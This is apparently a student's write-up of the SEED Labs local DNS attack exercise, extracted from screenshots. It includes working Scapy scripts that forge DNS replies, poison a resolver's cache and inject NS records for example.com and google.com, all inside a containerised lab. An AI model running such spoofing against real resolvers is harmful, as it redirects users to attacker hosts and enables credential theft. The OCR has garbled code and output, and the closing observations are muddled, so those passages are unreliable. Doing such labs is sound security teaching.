Local DNS Attack Lab

2 LabEnvironment Setup Task

2.1 ContainerSetupandCommands

```
seed@VM: ~/.../Local DNS Attack
                                                                                                                                                               Q = - 0 &
[11/18/24]seed@WM:~/.../Local DNS Attack$ ls
docker-compose.yml image_attacker_ns image_local_dns_server
[11/18/24]seed@WM:~/.../Local DNS Attack$ docker-compose build
Router uses an image, skipping
attacker uses an image, skipping
Building local-server
Step 1/4 : FROM handsonsecurity/seed-server:bind
bind: Pulling from handsonsecurity/seed-server
dar3931352a9b: Pull complete
14428a6d4bcd: Pull complete
2c20948710f2: Pull complete
2c20948710f2: Pull complete
Digest: sha256:e41ad35fe34590ad6c9ca63aleab3b7e66796c326a4b2192de34fa30a15fe643
Status: Downloaded newer image for handsonsecurity/seed-server:bind
 [11/18/24]seed@VM:~/.../Local DNS Attack$ ls
Status: Downloaded newer image for handsonsecurity/seed-server:bind
          bbf95098dacf
Step 2/4 : COPY named.conf
                                                                /etc/bind/
       -> 686a14c0f0ae
 Step 3/4 : COPY named.conf.options /etc/bind/
    ---> b679d1608c8d
Step 4/4 : CMD service named start && tail -f /dev/null
---> Running in dc8492102a3a
Removing intermediate container dc8492102a3a ---> 66f553362c53
                                                                            seed@VM: ~/.../Local DNS Attack
                                                                                                                                                              Q = - 0
Step 1/3 : FROM handsonsecurity/seed-server:bind
---> bbf95098dacf
Step 2/3 : COPY named.conf zone_attacker32.com zone_example.com /etc/bind/
Step 3/3 : CMD service named start && tail -f /dev/null
---> Running in 3f0f2le9513b
Removing intermediate container 3f0f2le9513b
   ---> 74ed6c3e3d49
Successfully built 74ed6c3e3d49
Successfully tagged seed-attacker-ns:latest [11/18/24]seed@VM:~/.../Local DNS Attack$ docker-compose up Creating network "net-10.9.0.0" with the default driver Creating network "net-10.8.0.0" with the default driver Creating local-dns-server-10.9.0.53 ... done
Creating user-10.9.0.5
Creating seed-router
                                                              ... done
Creating seed-attacker
Creating seed-attacker
Creating attacker-ns-10.9.0.153 ... done
Attaching to seed-attacker, attacker-ns-10.9.0.153, user-10.9.0.5, local-dns-server-10.9.0.53, seed-router
attacker-ns-10.9.0.153 | * Starting domain name service... named [ OK ]
local-dns-server-10.9.0.53 | * Starting domain name service... named [ OK ]
                                                              ... done
                                    [11/21/24]seed@VM:~/.../Local DNS Attack$ dockps
                                    ba25786833b0 attacker-ns-10.9.0.153
                                    e839c2f05a3b local-dns-server-10.9.0.53
                                    26bc6797a5d0 seed-router
                                    be74e42a7a9b seed-attacker
8466dabc986f user-10.9.0.5
                                    [11/21/24]seed@VM:~/.../Local DNS Attack$
```

2.3 Summary of the DNSConfiguration Local DNS Server

```
[11/21/24]seed@VM:~/.../Local DNS Attack$ docksh user-10.9.0.5 root@8466dabc986f:/# export PS1="user-10.9.0.5:\w\n\$> " user-10.9.0.5:/ $> cat /etc/resolv.conf nameserver 10.9.0.53 user-10.9.0.5:/ $> ■
```

```
$> cat named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
zone "attacker32.com" {
   type forward;
   forwarders {
        10.9.0.153;
   };
};
```

```
local-dns-server-10.9.0.53:/etc/bind
$> cat named.conf.options
options {
         directory "/var/cache/bind";
         // If there is a firewall between you and nameservers you want 
// to talk to, you may need to fix the firewall to allow multiple 
// ports to talk. See http://www.kb.cert.org/vuls/id/800113
         // If your ISP provided one or more IP addresses for stable
         // nameservers, you probably want to use them as forwarders.
// Uncomment the following block, and insert the addresses replacing
         // the all-0's placeholder.
         // forwarders {
                   0.0.0.0;
         // };
         // If BIND logs error messages about the root key being expired,
          // you will need to update your keys. See https://www.isc.org/bind-keys
         // Added/Modified for SEED labs
         // dnssec-validation auto:
         dnssec-validation no:
         dnssec-enable no;
         dump-file "/var/cache/bind/dump.db";
         query-source port
                                          33333;
         // Access control
         allow-query { any; };
         allow-query-cache { any; };
         allow-recursion { any; };
```

Attacker's Nameserver.

```
zone "attacker32.com" {
          type master;
          file "/etc/bind/zone_attacker32.com";
};
zone "example.com" {
          type master;
          file "/etc/bind/zone_example.com";
};
attacker-ns-10.9.0.153:/etc/bind
$>
```

2.4 Testing the DNS Setup

To obtain the IP address of ns.attacker32.com, utilize the dig command as demonstrated in the example below:

```
user-10.9.0.5:/
$> dig ns.attacker32.com
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1516
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e73a4aedd6579df201000000673fa9c151164ff5fa53fad9 (good)
;; QUESTION SECTION:
;ns.attacker32.com.
;; ANSWER SECTION:
ns.attacker32.com.
                      259200 IN A
                                              10.9.0.153
;; Query time: 24 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 21 21:44:33 UTC 2024
;; MSG SIZE rcvd: 90
```

To fetch the IP address of www.example.com, use the dig command as illustrated in the example below:

```
user-10.9.0.5:/
$> dig www.example.com.
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17514
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 29961086d3021fb601000000673faa2a40f0331934a8e2a0 (good)
;; QUESTION SECTION:
;www.example.com.
;; ANSWER SECTION:
                      3582 IN A
                                             93.184.215.14
www.example.com.
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 21 21:46:18 UTC 2024
;; MSG SIZE rcvd: 88
```

Send the query directly to ns.attacker32.com using the following command:

```
$> dig @ns.attacker32.com www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52160
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a3e29771219bb1c101000000673faa9051f6f787c829c14a (good)
;; QUESTION SECTION:
:www.example.com.
;; ANSWER SECTION:
www.example.com.
                         259200 IN
                                                     1.2.3.5
;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu Nov 21 21:48:00 UTC 2024
;; MSG SIZE rcvd: 88
```

3 TheAttackTasks

3.1 Task 1: Directly Spoofing Response to User

Created and edited a new file named task1.py by copying it from the other file named dns sniff spoof.py using cp command

```
[11/21/24]seed@VM:~/.../Local DNS Attack$ cd volumes/
[11/21/24]seed@VM:~/.../volumes$ ls

dns_sniff_spoof.py
[11/21/24]seed@VM:~/.../volumes$ cp dns_sniff_spoof.py task1.py
[11/21/24]seed@VM:~/.../volumes$ gedit * &>/dev/null &
[1] 7428
[11/21/24]seed@VM:~/.../volumes$
```

Checking the list of files and retrieving the address at inet 10.9.0.1/24 to modify the task1.py file

```
[11/21/24]seed@VM:~/.../Local DNS Attack$ docksh seed-attacker
  root@VM:/# export PS1="seed-attacker:\w\n\$>
  seed-attacker:/
  $> ls
  bin dev home lib32 libx32 mnt proc run srv tmp var
  boot etc lib lib64 media opt root sbin sys usr volumes
  seed-attacker:/
  $> cd volumes/
  seed-attacker:/volumes
  $> 1s
  dns sniff spoof.py
  seed-attacker:/volumes
  $> ip a
6: br-77f8727436f2: <BROADCAST, MULTICAST, UP, LOWER UP> mtu 1500 qdisc noqueue state UP group
   link/ether 02:42:11:f7:66:e3 brd ff:ff:ff:ff:ff
   inet 10.9.0.1/24 brd 10.9.0.255 scope global br-77f8727436f2
  valid_lft forever preferred_lft forever
inet6 fe80::42:11ff:fef7:66e3/64 scope link
      valid_lft forever preferred_lft forever
```

task1.py code after modifications:

File: /home/seed/Documents/Local DNS Attack/volumes/task1.py

```
#!/usr/bin/env python3
from scapy.all import *
def spoof dns(pkt):
 if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
   pkt.show()
   # Swap the source and destination IP address
   IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
   # Swap the source and destination port number
   UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
   # The Answer Section
   Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                ttl=259200, rdata='1.1.1.1')
   # Construct the DNS packet
   DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=0, arcount=0,
                 an=Ans sec)
   # Construct the entire IP packet and send it out
   spoofpkt = IPpkt/UDPpkt/DNSpkt
   send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.5 and dst port 53
pkt = sniff(iface='br-77f8727436f2', filter=f, prn=spoof_dns)
```

To begin the attack, first clear the cache on the local DNS server. Next, execute the task1.py script from the attacker's side. Lastly, confirm if the attack was successful.

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc flush
local-dns-server-10.9.0.53:/etc/bind
$> ■
```

Ran the file in seed-attacker:

```
seed-attacker:/volumes
$> ls
dns_sniff_spoof.py task1.py
seed-attacker:/volumes
$> ./task1.py
```

Our attack was successful, as evidenced by the IP address in the response being altered to the fake one, 1.1.1.1.

```
user-10.9.0.5:/
$> dig www.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> www.example.com
;; global options: +cmd
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20957
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
                                IN
                                        Α
:www.example.com.
;; ANSWER SECTION:
www.example.com.
                                                1.1.1.1
;; Query time: 56 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 21 22:07:25 UTC 2024
:: MSG SIZE rcvd: 64
user-10.9.0.5:/
$>
```

And we can see that packets are received in seed-attacker

```
eed-attacker:/volumes
> ./task1.py
###[ Ethernet ]###
                                                                         qdcount
                                                                         ancount
                                                                                   = 0
          = 02:42:0a:09:00:35
= 02:42:0a:09:00:05
                                                                                   = θ
dst
                                                                         nscount
 src
                                                                         arcount
                                                                                    = 1
            = IPv4
 type
                                                                         \ad
##[ IP ]###
                                                                          |###[ DNS Question Record ]###
    version = 4
                                                                             gname
                                                                                       = 'www.example.com.'
    ihl
              = 5
                                                                             qtype
              = \theta x \theta
    tos
                                                                             qclass
                                                                                        = TN
              = 84
= 45419
                                                                                   = None
    id
                                                                                    = None
    flags
                                                                          |###[ DNS OPT Resource Record ]###
    frag
    ttl
               = 64
                                                                             rrname
    proto
               = udp
                                                                                        = OPT
                                                                             type
    .
chksum
               = 0xb4e2
                                                                             rclass
                                                                                        = 4096
               = 10.9.0.5
    STC
                                                                             extrcode
    dst
                                                                             version
                                                                                        = 0
    \options
###[ UDP ]###
                                                                             rdlen
                                                                                        = None
                  = 34347
       sport
                                                                             \rdata
                  = domain
                                                                               |###[ DNS EDNS0 TLV ]###
       len
                  = 64
                                                                                 optcode = 10
optlen = 8
                  = 0 \times 149 d
                                                                                  optlen
###[ DNS ]###
                                                                                           = '&#\x9et\x05*\x92\xcb'
                                                                                 optdata
                     = 20957
           ar
                     = 0
                                                             Sent 1 packets.
                    = QUERY
           opcode
                     = 0
```

3.2 Task 2: DNSCache Poisoning Attack- Spoofing Answers

To introduce a delay in network traffic before running task2, we execute the following command.

```
[11/21/24]seed@VM:~/.../Local DNS Attack$ docksh seed-router
root@26bc6797a5d0:/# export PS1="seed-router:\w\n\$> "
seed-router:/
$> tc qdisc show dev eth0
qdisc noqueue 0: root refcnt 2
seed-router:/
$> tc qdisc add dev eth0 root netem delay 100ms
seed-router:/
$> tc qdisc show dev eth0
qdisc netem 8001: root refcnt 2 limit 1000 delay 100.0ms
seed-router:/
$> ■
```

Creating a new file named task2.py by copying from task1.py file:

Next, we will execute the attack by focusing on the DNS server instead of the user's machine. Using the updated script, task2.py, the DNS server's IP address is specified as the source host IP without requiring further changes, as illustrated below.

```
28 # Sniff UDP query packets and invoke spoof_dns().

29 f = 'udp and src host 10.9.0.53 and dst port 53'

30 pkt = sniff(iface='br-77f8727436f2', filter=f, prn=spoof_dns)
```

Prior to starting the attack, we clear the local DNS server's cache and then carry out the attack on the user's machine as outlined below.

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc flush
local-dns-server-10.9.0.53:/etc/bind
$> \[
\begin{align*}
\begin{align
```

```
user-10.9.0.5:/
$> dig www.example.com
 ; <>> DiG 9.16.1-Ubuntu <>> www.example.com
 ;; global options: +cmd
:: Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58817
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
:: OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 329fc04468f30f2701000000673fb7fcc749fc1fd821c369 (good)
 : OUESTION SECTION:
                               TN
                                       Α
;www.example.com.
;; ANSWER SECTION:
                                               1.1.1.1
www.example.com.
                      259200 IN
                                      Α
;; Query time: 1824 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
 ; WHEN: Thu Nov 21 22:45:16 UTC 2024
;; MSG SIZE rcvd: 88
user-10.9.0.5:/
$>
```

In the screenshot below we can see the src address is of DNS

```
seed-attacker:/volumes
$> ./task2.py
###[ Ethernet ]###
            = 02:42:0a:09:00:0b
 dst
  STC
            = 02:42:0a:09:00:35
            = IPv4
  type
                                                        rcode
                                                                 = ok
###[ IP ]###
                                                        adcount
     version
                                                        ancount
     ihl
               = 5
                                                        nscount
                                                                 = \theta
     tos
                                                        arcount
     len
               = 84
                                                         |###[ DNS Question Record ]###
               = 51575
                                                                  = 'www.example.com.'
= A
     flags
                                                           gtype
     frag
                = Θ
                                                                     = IN
                                                           qclass
     ttl
                = 64
                                                                = None
     proto
                = udp
                                                                 = None
                                                        ns
               = 0x5883
     chksum
                                                         |###| DNS OPT Resource Record |###
     SEC
               = 10.9.0.53
                                                           rrname = '.'
type = OPT
     dst
                = 199.43.135.53
     \options
###[ UDP 1###
                                                           extrcode = 0
                   = 33333
        sport
                                                            version
                   = domain
        dport
                                                                     = DΘ
                   = 64
                                                            rdlen
        len
                                                                     = None
                  = 0x58f0
        chksum
                                                             I###[ DNS EDNS0 TLV 1###
###[ DNS ]###
                                                               optcode = 10
optlen = 8
                      = 45370
                                                               optlen
            qг
                      = 0
                                                                        = 'r\xb1\xaf\x00.\x9b\xd9\xa3'
                                                               optdata
            opcode
                     = QUERY
                      = 0
                      = 0
                                             Sent 1 packets.
```

The success of our attack is evident as we successfully inserted our spoofed information into the response. This can be further verified by examining the local DNS cache.

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$> cat /var/cache/bind/dump.db | grep example
example.com. 776925 NS a.iana-servers.net.
www.example.com. 863326 A 1.1.1.1
local-dns-server-10.9.0.53:/etc/bind
$> ■
```

3.3 Task 3: Spoofing NS Records

A new file, task3.py, has been created:

```
[11/21/24]seed@VM:~/.../volumes$ cp task2.py task3.py [11/21/24]seed@VM:~/.../volumes$ gedit task3.py [11/21/24]seed@VM:~/.../volumes$
```

In this attack, we execute an exploit that targets the entire `example.com` domain. The approach leverages the Authority section within DNS responses, using the following code:

```
#!/usr/bin/env python3
from scapy.all import
def spoof dns(pkt):
   if (DNS_in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
     pkt.show()
     # Swap the source and destination IP address
     IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
     # The Answer Section
    Anssec = DNSRR(rmame=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.1.1.1')
     # The Authority Section
    NSsec1 = DNSRR(rmame='example.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')
     # Construct the DNS packet
     DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                     qdcount=1, ancount=1, nscount=1, arcount=θ,
an=Anssec, ns=NSsec1)
     # Construct the entire IP packet and send it out
     spoofpkt = IPpkt/UDPpkt/DNSpkt
     send(spoofpkt)
# Sniff UDP query packets and invoke spoof dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-77f8727436f2', filter=f, prn=spoof_dns)
```

Before initiating the attack, we start by clearing the cache on the local DNS server. Then, we move forward with executing the attack:

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc flush
local-dns-server-10.9.0.53:/etc/bind
$> ■
```

```
user-10.9.0.5:/
$> dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19438
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e2304501161413e301000000673fbdaf45fle4fdeebd01aa (good)
;; QUESTION SECTION:
;www.example.com.
;; ANSWER SECTION:
                       259200 IN A
                                             1.1.1.1
www.example.com.
;; Query time: 1708 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 21 23:09:35 UTC 2024
;; MSG SIZE rcvd: 88
user-10.9.0.5:/
$>
```

```
^Cseed-attacker:/volumes
                                                                                  cd
$> ls
dns_sniff_spoof.py taskl.py task2.py task3.py
                                                                                  rcode
                                                                                               = ok
                                                                                  qdcount
ancount
$> ./task3.py
###[ Ethernet ]###
dst = 02:42:0a:09:00:0b
src = 02:42:0a:09:00:35
type = IPv4
                                                                                  nscount
                                                                                               = 0
                                                                                  arcount = 1
\qd \
|###[ DNS Question Record ]###
                                                                                      qname
qtype
                                                                                                 = 'www.example.com.'
= A
= IN
###[ IP ]###
      version
                                                                                       qclass
      ihl
                                                                                              = None
= None
                   = \theta x \theta
      id
                    = 64097
                                                                                    |###[ DNS OPT Resource Record ]###
      flags
frag
ttl
                                                                                       rrname
type
rclass
                   = 0
= 64
      proto
chksum
                    = udp
                                                                                                    = 512
                   = 0x2799
= 10.9.0.53
                                                                                       extrcode = 0
      src
dst
                    = 199.43.135.53
                                                                                       z
rdlen
\options
###[ UDP ]###
                                                                                                   = None
                                                                                       \rdata \
|###[ DNS EDNS0 TLV ]###
                       = 33333
          sport
                                                                                            optcode = 10

optlen = 8

optdata = 'r\xb1\xaf\x00.\x9b\xd9\xa3'
          dport
len
                       = domain
= 64
                       = θx58fθ
           chksum
###[ DNS ]###
                           = 10852
= 0
                                                                   Sent 1 packets.
              qr
```

It is clear that our packet was successfully spoofed in the response.

We have successfully spoofed the entire example.com domain. This is confirmed when we query other sites within the domain using the dig command, as demonstrated below.

```
user-10.9.0.5:/
$> dig ftp.example.com
; <>> DiG 9.16.1-Ubuntu <>> ftp.example.com
;; global options: +cmd
;; Got answer:
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11095
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3fa33a5f98cf17e301000000673fbedddd3fe9521249c86e (good)
  : OUESTION SECTION:
                                           IN
;; ANSWER SECTION:
ftp.example.com.
                                259200 IN
                                                                 1.2.3.6
;; Query time: 16 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 21 23:14:37 UTC 2024
;; MSG SIZE rcvd: 88
user-10.9.0.5:/
$>
  attacker-ns-10.9.0.153:/etc/bind
  $> cat zone_example.com
  $TTL 3D
              ΤN
                          S0A
                                  ns.example.com. admin.example.com. (
                          2008111001
                           8Н
                          2H
                          1D)
  @
              IN
                          NS
                                  ns.attacker32.com.
  www
              IN
                                    1.2.3.5
              IN
                                    10.9.0.153
  ns
              TN
                                    1.2.3.6
  attacker-ns-10.9.0.153:/etc/bind
```

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$> cat /var/cache/bind/dump.db | grep example
example.com. 777093 NS ns.attacker32.com.
ftp.example.com. 863796 A 1.2.3.6
www.example.com. 863494 A 1.1.1.1
local-dns-server-10.9.0.53:/etc/bind
$> ■
```

3.4 Task 4: Spoofing NS Records for Another Domain

In the previous attack, we successfully compromised the local DNS server's cache, making ns.attacker32.com appear as the nameserver for the example.com domain. Building on this achievement, we now aim to extend the attack to another domain. To facilitate this, a script named task4.py has been created.

```
[11/21/24]seed@VM:~/.../volumes$ cp task3.py task4.py [11/21/24]seed@VM:~/.../volumes$ gedit task4.py [11/21/24]seed@VM:~/.../volumes$
```

task4.py code:

File: /home/seed/Documents/Local DNS Attack/volumes/task4.py

```
#!/usr/bin/env python3
from scapy.all import *
def spoof dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    pkt.show()
    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
ttl=259200, rdata='1.1.1.1')
    # The Authority Section
    NSsec1 = DNSRR(rrname='example.com', type='NS',
ttl=259200, rdata='ns.attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS',
                    ttl=259200, rdata='ns.attacker32.com')
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=0,
                  an=Anssec, ns=NSsec1/NSsec2)
    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    spoofpkt.show()
    send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53
pkt = sniff(iface='br-77f8727436f2', filter=f, prn=spoof_dns)
```

First, flush the cache of the local DNS server, then execute the attack as outlined below.

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc flush
local-dns-server-10.9.0.53:/etc/bind
$>
```

Running the file:

\$> ls

SEC

type

```
user-10.9.0.5:/
                           $> dig www.example.com
                           ; <>> DiG 9.16.1-Ubuntu <>> www.example.com
                           ;; global options: +cmd
                           ;; Got answer:
                           ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34250
                           ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
                           ;; OPT PSEUDOSECTION:
                           ; EDNS: version: 0, flags:; udp: 4096
                           ; COOKIE: 52773fb6520f39b701000000674542350a85d1bda9f32960 (good)
                           ;; QUESTION SECTION:
                           ;www.example.com.
                           ;; ANSWER SECTION:
                           www.example.com.
                                                                           1.1.1.1
                                                   259200 IN
                                                                   Α
                           ;; Query time: 1600 msec
                           ;; SERVER: 10.9.0.53#53(10.9.0.53)
                           ;; WHEN: Tue Nov 26 03:36:21 UTC 2024
                           ;; MSG SIZE rcvd: 88
                           user-10.9.0.5:/
                           $>
seed-attacker:/volumes
                                                                      qг
                                                                      opcode
dns sniff spoof.py task1.py task2.py task3.py task4.py
                                                                      aa
seed-attacker:/volumes
                                                                                = 0
                                                                      tc
$> ./task4.py
                                                                                = Θ
                                                                       rd
###[ Ethernet ]###
                                                                      ra
          = 02:42:0a:09:00:0b
 dst
                                                                                = Θ
                                                                      z
           = 02:42:0a:09:00:35
                                                                      ad
           = IPv4
                                                                      cd
                                                                                = 1
###[ IP ]###
                                                                      rcode
                                                                                = ok
    version
                                                                       qdcount
                                                                               = 1
    ihl
              = 5
                                                                      ancount
              = \theta x \theta
    tos
                                                                      nscount
                                                                               = 0
              = 84
    len
                                                                       arcount = 1
              = 15124
    id
                                                                       \qd
    flags
                                                                        |###[ DNS Question Record ]###
              = 0
    frag
                                                                          qname
                                                                                   = 'www.example.com.'
    ttl
              = 64
                                                                          qtype
    proto
              = udp
                                                                                    = IN
                                                                          qclass
              = 0xe8e6
     chksum
                                                                               = None
    src
              = 10.9.0.53
                                                                                = None
                                                                      ns
    dst
              = 199.43.133.53
                                                                       \ar
     \options
                                                                        |###[ DNS OPT Resource Record ]###
###[ UDP ]###
                                                                         rrname
                                                                                  = '.
       sport
                 = 33333
                                                                          type
                                                                                    = OPT
        dport
                 = domain
                                                                          rclass
                                                                                    = 512
        len
                 = 64
                                                                          extrcode = 0
        chksum
                 = 0x56f0
                                                                          version = 0
###[ DNS ]###
                                                                                    = DΘ
                    = 55418
                                                                          rdlen
          id
                                                                                    = None
                                                                          \rdata
                                                                                     ١
          qr
```

```
qname
                     = 'www.example.com.'
                     = A
           qclass
                    = TN
        \an
         |###[ DNS Resource Record ]###
            rrname
                     = 'www.example.com.
            type
                     = TN
           rclass
           ttl
                     = 259200
           rdlen
                     = None
            rdata
                     = 1.1.1.1
        \ns
         |###[ DNS Resource Record ]###
                     = 'example.com
            rrname
                     = NS
            type
            rclass
                     = TN
                     = 259200
            t+1
           rdlen
                     = None
                     = 'ns.attacker32.com'
            rdata
          ###[ DNS Resource Record ]###
            rrname
                     = 'google.com'
                     = NS
            type
            rclass
                     = 259200
           rdlen
                    = None
                     = 'ns.attacker32.com'
           rdata
                 = None
Sent 1 packets.
```

The attack is deemed successful as we successfully injected our fabricated information into the response.

```
local-dns-server-10.9.0.53:/etc/bind
$> rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$> cat /var/cache/bind/dump.db | grep example
example.com. 777214 NS ns.attacker32.com.
www.example.com. 863615 A 1.1.1.1
local-dns-server-10.9.0.53:/etc/bind
$> rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$> cat /var/cache/bind/dump.db | grep google
local-dns-server-10.9.0.53:/etc/bind
$> ■
```

We generate a cache dump and examine its contents. As observed, the IP address in the cache dump has been updated to 1.1.1.1. However, it is clear that only the example.com entry has been stored in the cache, while the google.com entry is absent.

Observation:

Many firewalls fail to validate the DNS protocol, which allows DNS queries to potentially reach a server undetected. This makes DNS a hidden channel that can be exploited to bypass firewall security. The DNS entries in the system are not cryptographically validated, which prevents access to legitimate sites like www.google.com, but the names and values follow a hierarchical, distributed trust model.

Through this lab, I learned that DNS servers can be hijacked, redirecting traffic to malicious websites. Attackers often use this technique to steal sensitive information such as usernames, passwords, and credit card details. As a result, the tainted DNS cache will return the IP address of the malicious site instead of the legitimate one.